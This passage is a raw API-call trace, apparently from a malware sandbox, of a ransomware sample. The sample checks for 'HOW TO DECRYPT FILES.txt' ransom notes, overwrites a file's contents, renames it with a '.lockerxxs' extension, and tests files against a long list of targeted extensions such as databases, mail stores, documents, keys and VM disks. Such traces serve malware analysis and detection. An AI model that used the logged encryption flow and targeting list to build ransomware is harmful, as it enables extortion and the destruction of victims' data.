Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.529] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.529] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.529] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.529] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectToolsetIconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" [0065.529] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg", pszSpec="*.ems") returned 0 [0065.530] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" [0065.530] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" [0065.530] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg." [0065.530] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.lockerxxs" [0065.530] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.530] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f0a [0065.530] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x6d084c30, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea)) returned 1 [0065.530] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.530] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x4ee4, lpOverlapped=0x0) returned 1 [0065.535] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg") returned="ProjectToolsetIconImages.jpg" [0065.535] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.535] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4ee4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4ee4, lpOverlapped=0x0) returned 1 [0065.536] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.536] CloseHandle (hObject=0x98) returned 1 [0065.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttoolseticonimages.jpg.lockerxxs")) returned 1 [0065.541] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2338, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="ProjectToolsetIconImagesMask.bmp", cAlternateFileName="PROJEC~3.BMP")) returned 1 [0065.541] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectToolsetIconImagesMask.bmp") returned -1 [0065.541] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectToolsetIconImagesMask.bmp") returned -1 [0065.541] lstrcmpiA (lpString1="", lpString2="ProjectToolsetIconImagesMask.bmp") returned -1 [0065.541] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImages.jpg") returned="ProjectToolsetIconImages.jpg" [0065.541] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.541] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.541] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.541] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.542] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectToolsetIconImagesMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp" [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.ems") returned 0 [0065.542] lstrlenA (lpString="*.ems") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.db") returned 0 [0065.542] lstrlenA (lpString="*.db") returned 4 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.dbf") returned 0 [0065.542] lstrlenA (lpString="*.dbf") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.myox") returned 0 [0065.542] lstrlenA (lpString="*.myox") returned 6 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.myo") returned 0 [0065.542] lstrlenA (lpString="*.myo") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbw") returned 0 [0065.542] lstrlenA (lpString="*.qbw") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbb") returned 0 [0065.542] lstrlenA (lpString="*.qbb") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbm") returned 0 [0065.542] lstrlenA (lpString="*.qbm") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbo") returned 0 [0065.542] lstrlenA (lpString="*.qbo") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbx") returned 0 [0065.542] lstrlenA (lpString="*.qbx") returned 5 [0065.542] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qba") returned 0 [0065.542] lstrlenA (lpString="*.qba") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qby") returned 0 [0065.543] lstrlenA (lpString="*.qby") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qbj") returned 0 [0065.543] lstrlenA (lpString="*.qbj") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.ofx") returned 0 [0065.543] lstrlenA (lpString="*.ofx") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.qif") returned 0 [0065.543] lstrlenA (lpString="*.qif") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mye") returned 0 [0065.543] lstrlenA (lpString="*.mye") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mbox") returned 0 [0065.543] lstrlenA (lpString="*.mbox") returned 6 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.eml") returned 0 [0065.543] lstrlenA (lpString="*.eml") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.pst") returned 0 [0065.543] lstrlenA (lpString="*.pst") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.ost") returned 0 [0065.543] lstrlenA (lpString="*.ost") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.idx") returned 0 [0065.543] lstrlenA (lpString="*.idx") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.dbx") returned 0 [0065.543] lstrlenA (lpString="*.dbx") returned 5 [0065.543] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.sql") returned 0 [0065.543] lstrlenA (lpString="*.sql") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mdb") returned 0 [0065.544] lstrlenA (lpString="*.mdb") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.fdb") returned 0 [0065.544] lstrlenA (lpString="*.fdb") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.wab") returned 0 [0065.544] lstrlenA (lpString="*.wab") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.dat") returned 0 [0065.544] lstrlenA (lpString="*.dat") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.txt") returned 0 [0065.544] lstrlenA (lpString="*.txt") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.jpeg") returned 0 [0065.544] lstrlenA (lpString="*.jpeg") returned 6 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.jpg") returned 0 [0065.544] lstrlenA (lpString="*.jpg") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.png") returned 0 [0065.544] lstrlenA (lpString="*.png") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.php") returned 0 [0065.544] lstrlenA (lpString="*.php") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.cs") returned 0 [0065.544] lstrlenA (lpString="*.cs") returned 4 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.cpp") returned 0 [0065.544] lstrlenA (lpString="*.cpp") returned 5 [0065.544] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.rar") returned 0 [0065.544] lstrlenA (lpString="*.rar") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.zip") returned 0 [0065.545] lstrlenA (lpString="*.zip") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.html") returned 0 [0065.545] lstrlenA (lpString="*.html") returned 6 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.htm") returned 0 [0065.545] lstrlenA (lpString="*.htm") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.xlsx") returned 0 [0065.545] lstrlenA (lpString="*.xlsx") returned 6 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.xls") returned 0 [0065.545] lstrlenA (lpString="*.xls") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mp4") returned 0 [0065.545] lstrlenA (lpString="*.mp4") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.ppt") returned 0 [0065.545] lstrlenA (lpString="*.ppt") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.pptx") returned 0 [0065.545] lstrlenA (lpString="*.pptx") returned 6 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.doc") returned 0 [0065.545] lstrlenA (lpString="*.doc") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.dot") returned 0 [0065.545] lstrlenA (lpString="*.dot") returned 5 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.docx") returned 0 [0065.545] lstrlenA (lpString="*.docx") returned 6 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.7z") returned 0 [0065.545] lstrlenA (lpString="*.7z") returned 4 [0065.545] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.tar") returned 0 [0065.546] lstrlenA (lpString="*.tar") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.bz2") returned 0 [0065.546] lstrlenA (lpString="*.bz2") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.gz") returned 0 [0065.546] lstrlenA (lpString="*.gz") returned 4 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mkv") returned 0 [0065.546] lstrlenA (lpString="*.mkv") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.eml") returned 0 [0065.546] lstrlenA (lpString="*.eml") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.msg") returned 0 [0065.546] lstrlenA (lpString="*.msg") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.edb") returned 0 [0065.546] lstrlenA (lpString="*.edb") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.accdb") returned 0 [0065.546] lstrlenA (lpString="*.accdb") returned 7 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.odb") returned 0 [0065.546] lstrlenA (lpString="*.odb") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.java") returned 0 [0065.546] lstrlenA (lpString="*.java") returned 6 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.asm") returned 0 [0065.546] lstrlenA (lpString="*.asm") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.pfx") returned 0 [0065.546] lstrlenA (lpString="*.pfx") returned 5 [0065.546] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.pem") returned 0 [0065.546] lstrlenA (lpString="*.pem") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.p12") returned 0 [0065.547] lstrlenA (lpString="*.p12") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.gpg") returned 0 [0065.547] lstrlenA (lpString="*.gpg") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.vsd") returned 0 [0065.547] lstrlenA (lpString="*.vsd") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.odg") returned 0 [0065.547] lstrlenA (lpString="*.odg") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.raw") returned 0 [0065.547] lstrlenA (lpString="*.raw") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.nef") returned 0 [0065.547] lstrlenA (lpString="*.nef") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.svg") returned 0 [0065.547] lstrlenA (lpString="*.svg") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.psd") returned 0 [0065.547] lstrlenA (lpString="*.psd") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.vmx") returned 0 [0065.547] lstrlenA (lpString="*.vmx") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.vmdk") returned 0 [0065.547] lstrlenA (lpString="*.vmdk") returned 6 [0065.547] PathMatchSpecA (pszFile="C:\\Program 